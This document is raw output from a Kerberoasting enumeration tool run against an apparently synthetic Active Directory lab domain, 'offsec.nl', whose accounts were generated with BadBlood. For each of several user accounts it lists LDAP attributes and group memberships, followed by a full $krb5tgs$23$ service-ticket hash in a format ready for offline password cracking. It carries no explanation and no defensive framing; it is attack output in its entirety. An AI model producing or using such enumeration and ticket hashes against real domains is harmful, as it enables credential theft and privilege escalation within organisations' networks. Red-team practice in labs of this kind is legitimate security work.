$krb5tgs$23$*DOMINIQUE_HARRINGTON$offsec.nl$POP3/AZRWAPPS1000000*$254093AFBC889D5C9DDB98C9A8F91FC7$CA4126FEB351F4631BE923BCD4FE867F2BCC14B1B2103BE06E977D19EDB6542AABF83A828642EC3EF88701C63BDFE9F7294D971742A8F2763B2AE357CCBD4DB0F684180BDB30EEF2DA89C8802E5F96B14356E1B73C2B31B807C3528E2F51F8CFFDF9F264FFD77FB088808395C58B04BB2CB5DF507E0D4CB73E4DB4E8F6A021060966C93E6398FB558B55BAC1C7CBE14A4498576FC03AAE146499FA73C7B71B7585BE7CECE34D03BE66563100F5B80A9F263D25A8EA792E078EAF64F7192CE75B93E17679EAE6312A07E412D137B49A0D30C7D2CB609B63BAA03F0B5A98FAA96D3F0F70167ED945776DC6D5D3D2A6A4E77FC323F6FCA3A78465E6733195C0D5E4E481F9152334CF77A2CC23FCBFA79D463B9389928868696B69E014EB26CE19C3AA783B6C972E3ACA66F9D6C44B64D84622CC2B681BB5B86A1C4A6382C583C968B0B955291AB27EBE23CEC086978FEC7BF0D9FD6CB6E24C0C026ED9364911F5075B41EE400F3686C5E07E0FC221A148A4966EC8BE715E70F968FB4CCDDD81D71D44F32531223CF8AE8D3D4FEA97599C80E2D502697D3F85ACAC0D0459885670431523DADD62C18BF0D0A25F5C0C9AC8334EBF4909F38AA09A4AF16330C38B594D9A6B523E604FD752A17D2410EC44C28AFD325CF592F2D45C72E62BB6B4852511FC9DA5503E8891F8E5AE803D2AB215866F67C75AC8C91C9E3D48FF8C4219798AD415F965DD7B4BBD0476BC0CB09CF17DFF2A5A5109F6F41DC9B1089DD254846BA354DC415C0BA18A8D977AC16279DAF69C7E088CB14F8736ACCB29077F44613C1687D235AB9927E714665829D0FC074D932D8D5AB1AD60E5530CC71EB67036549D67EB09CD66E0938033947FDE8AEBD7C0C46D9568DD238DC8B851D104A4583AF7467F6F61191C69410FEDE0104F03F8ED3DDE217C49695CE54FD25DE3361E1E299071C13B9EEA3B42807147E3D4717636E24C840856B176F8171C228788A9A401B28028998F959BAD6047EA63ED4CB0A2BB097E424234485FA0BE31D2204F95063E50163F014FD6CA70E552123AA19FBA26ED2CDA6030DB431424D88D07B79767B0A0922D37E4F3F83D9A900F42813E660BB5CE2C621EFC02AA9EDA4EDC37FE0F493DE040824CB6C49ACBF19474E50D3BEFB268DB4D9E48F04CB001AFA66DD1E169855F75A85FB5B39C86AAD3B7A2F5CAB2B072CB4278F89E4B929F1B0E2D24C05A417412390E8C97F864F1FB3F68A208280545A08E1B6D1E12711B17E3B7744A83B43B4A9C78D5BA6CAFAE2D0C3AAC4C9B29568C07D5461E1169FAE3846AA9F9E3AD6D2407577A175488D5AD6497067D60BB068E1A164C83AE84C89CB587F7D75AEE7916C88B509B4ADF4785167A5A38732662FFCD87D23E39297F9EF0208429FB611BDE4106CC2F2E7523D02E52ECB29D Searching for Kerberoastable Users - Details for User 'LYNNE_TYSON': sAMAccountName : LYNNE_TYSON userPrincipalName : LYNNE_TYSON@offsec.nl distinguishedName : CN=LYNNE_TYSON,OU=Groups,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3230 userAccountControl : NORMAL_ACCOUNT memberOf : CN=TR-200-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=CL-328-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=KA-amo-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=TI-coq-admingroup1,OU=People,DC=offsec,DC=nl CN=21-30julio20-admingroup1,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:14 AM lastLogonTimestamp : $krb5tgs$23$*LYNNE_TYSON$offsec.nl$POP3/AZRWWKS1000001*$C411AC3AB454A6C030F2F96D35787658$72D7785FB32F81EF271B46A413E161558B954DC788DD646363B9D1B3156F73AE42DE8BA53549143217C9C081B6669F80A396DE5DE20B2C9220F739ECBDCFE80F01C607F370B47B05D6B865A7C1BE6B345656203C13DD51A33EFFD58669EC5F24F171952BFC6F8E54A18CA8578F2868E3580B2CFCF3D7BE24D46CF860E80A06AEEDBE66F1CD8E349819191E350361DBAF1D8EB957B034359B070D81CA5ED32E5A44A4191CE84BCB6ED708D245ED2D4E57C83B1AC91B2EA072A4388617462395644DA927BF93ADE7C25E3E11F72280A3C7BB07C91FB814B74EF002364A60FCC965AC0BD5C5E8737D8285EE23E807EF27B223AC82ABF761D0E87EC1023A71B51774EA27AD628F9154685D9D2F3AC5DE90747914894143C86E9C545CF7AA4954CE21DAA34ABC89C31A4DD5683A49CE27D8BCD7FED507E2EF05CBFECA8E02FB28B83DE99885A6FD6ECC66ED6FE035B1C573263A90B7ED1FD8A418B8E84BEA9716E12973D052B468608764FB116081C42962B2F075955D2C5B311E232D978ED5A2725F3733DE8016A8DDF0B3DD617B007E32883B97BFE17C3EB1EE3E8BC7BB9EA6C66E5147E594DF72E9AE4032941DDB72335CCCD731D6363D6AC6A340B5EEA3BC6F47164CD5CE1A2CCBF14838578903D6709D41E236298F2CACBBDA71C8FE2FF20F859731ACA4F8F0C6F4ACD02FF5ECF1FF6E8E171E70A22290CDBFF268057116868E9B0CE675CA3099054FE187455C45C0E4D5107F00892BD02B956D4D80432D3CC39B547411556578D36D7A0566F424476D9B68B8A13189CCF1F97F5F305CA133408B62275DFA41F44C2FBDE4B35BFA5E92CA8187C5DA2D5F98C4309CB3CDDFE9262B0BD5780D29F0FB3434A21CFEFEFCAECBBA819E4CCF03B1ADD2966F3EA490B07AC3B4C3BB33308F7D9AF1EFB494D3E07211A601C45C5F77F11E682520D37D76FB7F7E3FDA5F49F2C9332F28623E977493F43A23B8B43C11391F0986F8DC8EF1386A72B8D7E67BAF6E924637F7D2EF0168B525A88D9A62CFE4BDE83460A08AE84912DA2DE0C6DFC1B6EA8B217E455E7B8C09DB5A46DB7745CF98C7B4939F8FEF317EBCE96D08E09C3FB0FB9DDD3CFBDFBBAED0AD8E7135E088D31B37131E6E8E69EB6ABED218A7226CF4CC3F9E991697FB66C7BA302899B2ECEB1EE0398F6F8E74901FFDF7BB7A0ABB5F3CEDFF13478CA661683C506FF90B52FBCCE967F4DD0970CEC0FADD8DD1BD25086CADBB49FCA4CEFFB5C689A388540E8BE85D117FA3AE0AE488054CF104A643CEB19EA932184AFA52A1B086AB67415C07A1E4AA5074E818174B0339287F2DC21432FEF4C65F7FF187B948EA5387E2401EC149EC98FAE7C533FFF6D99D0DF6A84E54503E6D38EFDE9C318A7845875550C80D90635D1B0080BB6D24BF194F77D8BAE747241D9C2CB15E Searching for Kerberoastable Users - Details for User 'ESTELLA_MCKENZIE': sAMAccountName : ESTELLA_MCKENZIE userPrincipalName : ESTELLA_MCKENZIE@offsec.nl distinguishedName : CN=ESTELLA_MCKENZIE,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2729 userAccountControl : NORMAL_ACCOUNT memberOf : pwdLastSet : 2/5/2022 10:05:18 AM lastLogonTimestamp : $krb5tgs$23$*ESTELLA_MCKENZIE$offsec.nl$POP3/BDEWWKS1000000*$808B257647F9B2146B0323CF6A1F2332$328D2FB511BD8EAB75479222A3AE37BCE99C7AE4FD1F8612DFABCF3A381EFBC9A2B456B17C477E658145D69C4F820DE8B4E10FBA398CF69455A21E5C05438202133104DA3DB17DF6A2BD7CD0DA6D5BB862376D96D1A11824265018FF958AB64358D946F5C85A8C840E17C4213E40F77E7F3E12EB7E35D3E9BAE3BEA7C506794454B1446EAA87F5AA79C0ABE3286B2DF2BE8A85D10A8FDDF9F0AE241017FB9FE93DA242D5A95E39CAAA83409A0095E4216A59D17B2D0A3FBE84BAAE307928C1A227CCE221DB6A6548D2F1249FEAE18BA011C7F3842A232D96CC6C95D3CCB297D0A76434FD970CEFC265A3F1F0D028089950AAB2752C4D5B31A4123D82090BC5335A450D9EA79CC0E0E58C8C2E0C553FD5E8720DBB894E710C038D689D674CDCB3D2E923006A4849B78818E936FA77974568F9CAFC11ABE813261B38B81ADD57AA9C222A93514CED558F2CF83A4BEE861F55AC32977C1B3340EE0659E51CAEDF2D340F54C050E946432F70AA3B2104AF9DF23868CBEAD62F1AA91193D332FB9294100AA03294594FBAD5FBFD02B6773AE9666DA21A247CEE7AB9FCA2268BA694B92B2BAD48EC7A483E348396309ED97B22C5781404F06580221717D0EBEF283B0660F9BA4F1114D2E7D145AF98B1C38E7D2EB295905E203891D429CB50C8274AF298E17CA4881603A122DEC698CAD4ED73481D7A7F86D148C4B027671A3881EF4DC599A04913CE3162CD153230A124DA1F0F04167FDB7859F44C7C1EE158BAD9BCA4CAA3D2D98688C659F1082A5E18B484EB5B283F6924748C129A0B50843C3947A875A1FFCE2EF0380EA90177ACA0BCFEF62E1E82AF836C5911A90B57767E8FBAA9C91DCAA5C84BD67E0D44B38ED82ECF42728CB409D3D00A42DDAD600C9CCC2B88E64A7E413FC2704046A833B8092E794016FE65FD58CC4FC120C1845E57E36C8EAACE139DF6865FCBCE2F2684DF8F9D1A5115A35A412FA513AB901F3784D2156959E9CD6977938B792F19EBF64971148F9EC540ADBD278EAA463316F82E4806F1BAB82C8802C6B838BB2D2B511D143A399118E0CC3C391EABE6F59552E24694657A4F3B2AEED0221480A955B3DC64736E1229C7F27D86BF1B925A475FB5C5A231D7C351F12491C7682AD2DAB6CD22784E13750CBBA1E5EC44C2A0B15CCF884AB42C3353423890EA4BEA3D45823C410C1D7D8153634C60D18F987390C9F61D09716AEE11CF4FE29588F93AA5D622CFEE7D6E1CD7AB5433ACAAA9F2F638365C0DC0AD2C782FE5BE30B04ECDDF517E34C7532237F626EEB2E13A42A61D6C2A134DDCA9A603F04C85DB9D5C5F225749981FB348D7A1E656D011710E2E7A3EE033E2951B5907118EC39DE794F2A19A526F3F0198C895F16A0748861681126EB453E025CB973D084ED5D53E764A0CB1D8E6717A96 Searching for Kerberoastable Users - Details for User 'MICAH_GREEN': sAMAccountName : MICAH_GREEN userPrincipalName : MICAH_GREEN@offsec.nl distinguishedName : CN=MICAH_GREEN,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2268 userAccountControl : NORMAL_ACCOUNT memberOf : CN=ST-lolivicen-distlist1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=WY-ple-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=OL-gladiator-distlist1,OU=Groups,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=WI-car-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=IR-alpinista-admingroup1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=JU-290-distlist1,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=CH-imagendig-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=AL-servando2-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=LA-art-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=KR-asdfghjkl-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:32 AM lastLogonTimestamp : $krb5tgs$23$*MICAH_GREEN$offsec.nl$POP3/ESMWLPT1000000*$36E562D306BFA623A6FCF634697FDEDC$2A49BC1BC461154A851918446ADBDB366456FCBF1679D25050072CBC3D73FDD06768A9C4863386B361557B3CAD5244C04282C80A3F686525416AFCBB807FACE73EA1EEA57853FED69F27A969AC9C84E3CC829C6297D4D2FD5E3EDFA4B443AEDBD559CD77A88A70F2C13B0B45F62E2DAC201CDB893049DCE3F2801CDB6ED98404BE0272182C6E7D1DB994F5488C66DDCE3F287B8FAAAF0DF3718CE166F83B6E843E8FE3C917089E0034E268C796F6E324A3DAB9D3B34BAACF5EAE39CC2113680557BD34EBD349DF2BB5B642B86B7E34126F3FDF3207A9B422D31D59EE18DF6A8E3B4BF6F31C5E54E69D9F0A160C3255E71768C282944477AE185E847C9D3284BA13A26730487135993C9D9643448CAB8A0E2938DBD3CC86B081A9ACF0D804FC5860E73F0FCEC5EC3E52476C7AB97CFBFD67D0D80802E1B6EF647E7C5E784CC7C7AF082B794DFB5A24FAE76502380A37CF0C9B8BC60EA92E0775D60FB295F0770A26B1873514B1B1D59464492A3D1A85EAF04796B4CBE6B2EFD01009F3654AF8DE6E0E7022FCC7C8B0E57BFFD870834603F87D97D9E5F6817F48E51C2744913371E50AD24CC22B0B52E43379886AE8595856C74592997FEDB2064B7B5DFFD5EE3A61A478DDF6B319B887DBC0F9F17A2B411037470DEDFF0065C8A8533A5EBF32892A013EF6A5C9DFE10EF759C106B3118D9111B380E733F77ED572FF03209F284A5FB449467B7804488A5F60B35DA1570439FB2D91699A7A6C287457882E0053E0A5C9E9AACF08D28371C9FE8BF664E5ED3F485537CF32BA7CC4B0729584BC4697493F39ED6BB09D1620E075238479FE6B6AF65F1D2D90F6FA1C2A2808E5D0F67D59A185B226881C39C039E24A1FCC61222A4F6C89F9DF25086A75C9C5AA714D77950230E1CA7347448636B9DE40BB8330D233C1F7F2082291EE1A932A5AEE6E7D6744E8FC1103A76FA1979C622E26047447EA6F3D742B1578645224C9E8E251ABE7B290D9DBCE4EE5270437DAF4D75E04DC20E0AF3EC45BC6977A744DC4F1A4890C5A1C09E72D0C7D4F1F3CA6778782D79952568F3B6A8D3283BE5AE6A36287B4DFA09974505597309415CEFEC0D53330BCAF8A673F48549E6523C938DA59F57273470711F87AAB1363765D5DB59A6A4A455EE6AA47637F40BCDDC63701707525A3D9D05A0900D3002E63B03F8F4E8F96C6326D2ADE8C4DC4C22069B4936119432D4984DC18C087619CC833F130151C828F441F5CB9B9233CE13A715C2CCFDE25A99F09A50EA713D9409E7ACEDCCBA56B42CA28A30B2C0FD148AF44BBF0811830C783A1B44B70DFE56129E8A9FD6601B5C64460C9780B4F35422B58B297A9BFBD8F408FC23AD69EC74EA882727689CF34E2AF5AB8987A24B2E3F736FEE6FFD3DDDA8E056E10D59011DB6C2F893353FCA69CC3 Searching for Kerberoastable Users - Details for User 'ERNEST_MANNING': sAMAccountName : ERNEST_MANNING userPrincipalName : ERNEST_MANNING@offsec.nl distinguishedName : CN=ERNEST_MANNING,OU=ServiceAccounts,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1718 userAccountControl : NORMAL_ACCOUNT memberOf : CN=LU-maiden666-distlist1,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=MA-teq-admingroup1,OU=Groups,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=ER-hou-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=OT-664539651-admingroup1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=LE-chaparrit-distlist1,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=DE-170-admingroup1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=DE-err-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:25 AM lastLogonTimestamp : $krb5tgs$23$*ERNEST_MANNING$offsec.nl$POP3/FINWDBAS1000000*$7D4246E7115B4E0CA9E9F0FC223E8B05$3BDF443FC3A02A0D10997A1F5661C6C87E9D7CBE3C1E0071CDCD328E619ED9AB8568597769D3716CBBBD758DAC3EC59DFE255A59643CDF7764B9DB75D7438D4A04079A1F7A6B10170B66C920531E151380670616838EDED8C43B8D7B737E1E441B24D21C57E6EE5AE22A9D5FA06D0E292646E9CEAB93DF3BE4A2C7F407960723CCE7A3A70736B191F48FCC94CFF94B070984445B493328286F0289E72A5B7266BBD28BE1CA7843E02700E88A3440FA0843DBB5ED44D06C7CA4F6A1024E9335769E0D71707C43D9E76C16193644F5D81849B631CB031913002759A9476CB614B270B7E0A5C41DD45540222FA77DFE2654CBD77622763F12E2DA0358C573671F16C673E18D6739BB5EC265C6BEDAADD849A93F7A34E9A24F67348FE18CDB5F1FB0198991C41CEE496025CB5D0587F36992158FBE7324542DC1C0F83B46C65DA62221139BE91FF35C7B6A137A18D070B4E26EDC17B047766D0382F172E880958B0A54951323D6FF624EC165ACBC7748166D0EA6C56C2DC9B6DF220DA8E52048EA56FFC90ECCFA3E28050DE36BFC47D871016310892A66BF736F039963F93C9FB8B07E8084543B8649C7E437F38651928B7857B6CFB6DA5A8E42D54167A02C33BC4D4775BA91C1ADD9495E858E312FA9C3E6A4032DADEEEF3837317FB50AAB2000FB27539EB3900C4EFE4471EBBAB49C05699EE555C472F0F8987B9778769624E26D9032C6E5863FD84C6D3D93A1B9CB4BB89BD7204D4D38D242E77479199D804EAFA444ABFB4861025AD54CA7F43F10C75626E2C96D0FDE4EC98D0A1014156996E7B6BC4CBF2AD1ABE1C9F56CE30105FAB7739C3C633E35A716D365525648782B71ADF9BC56465E9C4357CB64EAA88E87EF8466B7326014023FAED2FA663B764AE99ADF9C88208EB157C72FB4F31FD6EC1FCF6808711007B1CBD12E4569D4928A6585AFEE43C072CD83625BC8598EA89F437DFFDD79DD0DB746FEF62142429E8FED65FD84541C877D0B47845A071D5B008D5E003AF1C41B01B4EA09897B581F3AE49550C4CB86830EAA4FE357670B43C86337BC46D2A8538A554B78DB7D059AB815C3254191344F009CAC7483BAD6143DA57A5CB81A9C18807358DC6702C60CB4E3A512EBBAF1D3AF59F2B3912EDC63B3475B3F8CAC096294C0B2AB57481AAD8931FCB28F035C06B16BC8C2456B70E4DEE469DBA0052C309695A34B55BD282C1CD2BA949E7D2E13E1AD588DE8A1C8093AAA8B655849539E78DA235C388EED6CF421954D43D3D740E018E3F9011E84180A165A9C7078D8F4B4F5972F3755D62235E2E53640B9C2CF28C0CD0095E5A6F42DED542DA1CE783C872442721FB6F378D88DD50755A9CA5CF765550390BDDC72806F8D9AA55A07E1DB3549C38ACD2BFCC218969D42207356D43E7F5DF5F2A98E58AC174F Searching for Kerberoastable Users - Details for User 'BERNICE_BENTLEY': sAMAccountName : BERNICE_BENTLEY userPrincipalName : BERNICE_BENTLEY@offsec.nl distinguishedName : CN=BERNICE_BENTLEY,OU=AZR,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2982 userAccountControl : NORMAL_ACCOUNT memberOf : CN=KE-984149858-distlist1,OU=T1-Servers,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=LY-tet-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=NA-flaquichi-admingroup1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=ED-Zyanyanoc-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=UL-yer-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=CL-ashleigh4-distlist1,OU=Unassociated,OU=People,DC=offsec,DC=nl CN=Remote Management Users,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:17 AM lastLogonTimestamp : $krb5tgs$23$*BERNICE_BENTLEY$offsec.nl$POP3/GOOWWEBS1000000*$43DE7C45B6044CA509C8E1C558ACE16C$22FC2D7460B45ECC39C5443CC1F8C90CF38AD85969CEEA1B4CE701B02A090216289852A302E1731561741A8AD4A3DDB531509A19E003D0BABB7F96169F9577885F0963EBB24BB7C7543D0983F623AC5DF8642078A817B62E6CEFB66DB051D1B97AEA6A1FE4ECAF4ED3886CE9617382366D02587BDD3EE6E663A2B040234B9F440A47041A981A21AF2D1EAD7B9E4CC177117D00E4495B5E3004EAD012185A23505C2BC6489470D752F2D8987DF1B9794D34E5049D84761CD7C56DCC646212D54E43EFFED9781A3BDF4FFF014CA31D6C9AE3E77F3BB0925C5790F9EF8F7C0A2F9E72D6A2E78896FDE45096FA4C3A05842CB42AAF42AE3F0EF2E584D0FEE390DED675E90B420FB4A9B4C9A607D0213CE11E16CEC310A0E7F75F3AD266B4FFF159C494E72FB767712399F00EC5860D04A817F5F8754902A3005F3EE6F3E6003BB23D1453799EE42688BE5CE10A7EA356A686B30BBF145BB506EF6B8D6409CBC8C55CF9B5C40881773C772E9024A80EA7402AD9D5D682F07F72E6DE5AA51EA57DD706BCAC70DBA621C1D5F0157050D5CF76A91B8B8A1CA03CE6250EC93E41553C873C265EEA112929B0A2DC26BBAC7CDB7703E637D80564D30F5248B59F1992899D62681B038DAF9FDF3182A1028F35B244DF9F78356143CABF5A3675D2AD7CB68E814EB579983F9EECEBD3E3DBFE8339CA660B5A37266EA006B049D5363417BAB1FAD42717616DF0C7378C3988A640B9438B231C998652C70A64ED5CDBA1624B1FBF43AAA9F716A6E2C618ED72E58B1DBECAE34496B8CA5A6810CD79ABAAE24C1D9E1C874A63103D249B2E8A07CEC639C609EB6FE442FACBAF736C7A8F142466123450C2E944EB7896DEADB7DE9E6BAB640FA4DA578B80087117D45EEAEA5D376EBEBEFCD352E9DCC12436C6E6F21F0DF599C376BF05FAA61E7435257188DA1C9D4D93670964B87D774671F180F4A291ACDD098B3D87A3E86DD7392156AC7D7EE0FDEFFB31F431E7E910F7D7F851528AD4DFA3C329F4DAC5423E393938704025C0A82C84826631960B66761E56E6FB087BAC8FB13D5EA48D6FB32C428498BE0226A7CCA4F46133DAA751FD3E4EC44EDA706A69126AB1D30A1C32E30FB1EC99A38DE9241105ABD79EF512CAF363FDFC45E2FB53D5C0F334CA01F8C0FD93D2D1E8B2F933A684115B9E91917AB2069346B690754C357B1E6DB172CCE954A535D5FA055F0D14A02C4E5DFCA5517C48F21250139962216B0BA9A1F55B3685B86C03E1F2BBC301533E0D32F03BA2725F4B236812F26673B394813B90C439A7361DAA60C8F545EBF671678A24E0F0EAAC73F904EDBB7255E3731AE4CEAB90D824536837680F7BF9B91BD330BAF798897BEEF15A048219942461D788FBF71C80BF0AD38620D5DFAF5435EAFE775B077DB9D28F22F404C532 Searching for Kerberoastable Users - Details for User 'EARL_YOUNG': sAMAccountName : EARL_YOUNG userPrincipalName : EARL_YOUNG@offsec.nl distinguishedName : CN=EARL_YOUNG,OU=ServiceAccounts,OU=ESM,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2058 userAccountControl : NORMAL_ACCOUNT memberOf : CN=LE-105-distlist1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=AA-botykario-admingroup1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=Remote Desktop Users,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:43 AM lastLogonTimestamp : $krb5tgs$23$*EARL_YOUNG$offsec.nl$POP3/ITSWAPPS1000001*$EC68160D4441AD1280FD4227BAE29F90$B9C67D9821FC6578D3C6A5600382C808DA51F58F2CC2FDF5CA4628884C8699E1B9F2B8BD4B5FE20E2DE2E595263F46F0FDAA066C7CA9E45334A439093C91A8D75B5EA92C6FAC27549CA391AA7A19BA4061C5130F54CCA55FF0B2306E947600DCE52664E842221B3DBED5A0E64EB9C0F5F4F969B9C3FD5F8F7667A4CD71EC09A181EE61AACF8BB36FB46FC3B03AAE54D57B858C61944A2F0FE63894E56FBA8B3413435B7DBCB4FDE4E108B5F3786F01837DA805401C79193F3816C2F2B7DD46E29EFE7B928F3A73E4363BBB770518332A3D4608E07090051C6F590F3AFEB7C2153C9A2F85EB005B64162DA93F5FF6A2FC29ED7D5D1A393FADD5BCEFB044760C6FA684AF84D5993C66C12784243DB1E64E0104434E27B96429A32D210972FA733B7B2AD43ED7E2F15490A154183874A422FB2A07E2D692319A3F4678CDFB8C9C5B32E8ADBD55172262285AB6E23D1C721FD59701A5590643722A5C03B59F518971DDD83120087F701829B4A9F9F49540B52046424980DEBEA3E10331FAE6E645E41C79AD3B38395648C73C9D333AC2657F371001F3DF7D5598EF6FD3F468C35FE945F763032A954AD14A05DFA20D2B50F1EBD51A2FBA26D24621E39213E738A18570138D511BE8A4F7B1D23A4A907E9D1178FD75F94C05760FF4D691A5C7813180B791A0F99BA36E85CCE9F8C7825E52A4B254D490F5411F9D653A8119F1A91E73F43BC7924CD4799E3D0880FDAE82A0D517CB43B96E73DC96B6DD5ECDDA8D4D82726E3D75D01E486C62F397B54181E3B60D785BE39CB11F214A07E89F6C7EA13015DE5D33DFA37EB6B9DE34F19F980E9833AE1C048DD090C5FF7D88CEB5FB2994D02459BC76D7D87854604EC5EFE248302F1421EC5C1B95D47FA5109054E74F6B759D047BDF0A585BD7181A9259900482C03DB403BA002EFD3DE4E0F1F87D04EAD02AD169223B88C82EEB92DFA1A3B33B93D43C4CC150AEA6A7AD7503A81B9E76AEB1B1598A847AF3B8FD88B512D665274C8D0449E630C3D9EACFBF42BE97A364A6665059091F2830541D94820983370B812A843511B6ADA0607DD7701BAB65D1CA343385800F8EAA399D6094304E7E295D1695AAA3BCB50382F39143C9611720B05B9015EEB40EF11893BFE79A71164566C4B04C59E177E5F7BB5511E063877506B79F398B8A23362582D5169599CEEF210F7A6343A53D6CBC287EF96A7A2F54BC357E1660C072A002F3EE2ADDDACCCF8E8694F867F051CF1547D11F4336C0163A4E187749CC24F450C2013D616615F53AC51D1B3EC4797EB46C11F2EB491FE836255956217F96FC0C305C36C4BC453FBB6EFBC024EF1AA5418EA2ED7920E5387F47DCD95AFE125197DA237D0EEBCE05CF43DDB9B771F5A1B4713A128EBB0EE7DBCCD07D7794EBE2D89F35FA52B89D03F864 Searching for Kerberoastable Users - Details for User 'DEE_OSBORNE': sAMAccountName : DEE_OSBORNE userPrincipalName : DEE_OSBORNE@offsec.nl distinguishedName : CN=DEE_OSBORNE,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2499 userAccountControl : NORMAL_ACCOUNT memberOf : CN=GE-WW9-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=RO-27lindavi-distlist1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=DE-romaomuer-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=MA-mee-distlist1,OU=Groups,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=JA-2112_andy-distlist1,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:25 AM lastLogonTimestamp : $krb5tgs$23$*DEE_OSBORNE$offsec.nl$POP3/TSTWAPPS1000000*$873EDCFBB0FAFAD126B8FABD6199F781$5285C85CB2D3229459F56EFAF877D99DA13C8D26D6F3B6D290012E8FDE2C92D924C1460AA690983F4FE23CCD3C516FD7817E4608413AEAC2EE41C20DA5E3A77B4176800AE1CED71803E8A5398A9A00EFEC5238FE41F076727266097C707865C1A1EE08A4EC608DA79127C5F4E69149A7823F30554607D4EA21DA6A5BA7E73A508EAD09D3A742880F9F997AC4F3A2CCCAB6EE5B0F7023065E9B21018B653055110B95F1662FDEAECA29E7F226E1435B7521EA4D822431ECB7353D5B9084194410D6D63CCDFEF59AF0FD0AF5644EB78D46ABD42D83431E2AA3CBA06574B1BB10791CE6C20137049EC8349E2D44D616032286D2A1E1E2E484864C0835A6FBBA6ED6F357D26F01B0C215434E773B7D318CA743C3B546F5458D97F5AEE982153DBFAD54A70CEF4FA1047F595B3BDE80F0F2DA24E3D9E9817B9A977E74ABBC608D92E255A49B4E44297691836686FFC9D6B08E8ABE6A326724A3E212EB4F1DFB9E83D4B18BDB6CA6D3B42E75601010340A373D90AAB1B96A4BA74089F70495C0968ED8B509E823E4F0823C197EB0FF690153CAB01B5C6A2F040C152BDA3B905D3F23C2355C275AA46BECEC534121096A559C3C318BF986358FDBDC1037D47A3A074FE7FEC199022B89F03BB600151B167BA45C037CD8BD51F07F49346E1BEC59C3DBA648BCED655347D5C970A2CF3471DAFA00728BBD2ED65A5CC65A1CC77FB1EFC70E92052E26F52F81FC1174E3037A218AE14AC71899B4326893322386DEEE95DB7B1061220FB822F6DFCE81078567A5C3801B3B2E0C7A1A4B5C7A33513C0C0BBA48D1464BCBF948AAEF34AEF35E0DFEB14A0A355352F2599997A66AE46B9389C63AEDA229D92D6B0651954867675F2F653D566C146E75A66BC35CB432C87DB3EDC5D49EC1CB013648C9DF2BCBA15C822209951043505198FFB8DAFB432DA21344944C04769D3A6C82E2E725118D7272F930B83033F2398FB06DACC204A82065A21AD99D7F5B32DA9E4A4C862FB53E81A96522FBD999F9B67C73E7E48ADFF23609F025E531DFB3CB7F3769EAFBB451C2CEA1777D5B7F4AE7F0B69A3BCA0A255E0AF8BFD1A3D41E8092E05ABF5350D8B5B3C6059FD57D5117D379E9E140D1EF89CA507F19115B179AFC0125CC78E9992E59B46F7A8109F9894E7654665674C10D8034E6D27CBA32665E11A71084F1318B916878325311645987E19D4EE4917DB95D49F192264D7C5F43C2582DCDD6819C491DEC9E3688C9A0437C071F115426511399A294CAA1D262544617325DC186487682EC863E3D665C26943D8DF32602C46E2F6936962D0E42A673886FA5DFC788954958817E5C2D0983F831488B834757B1CE1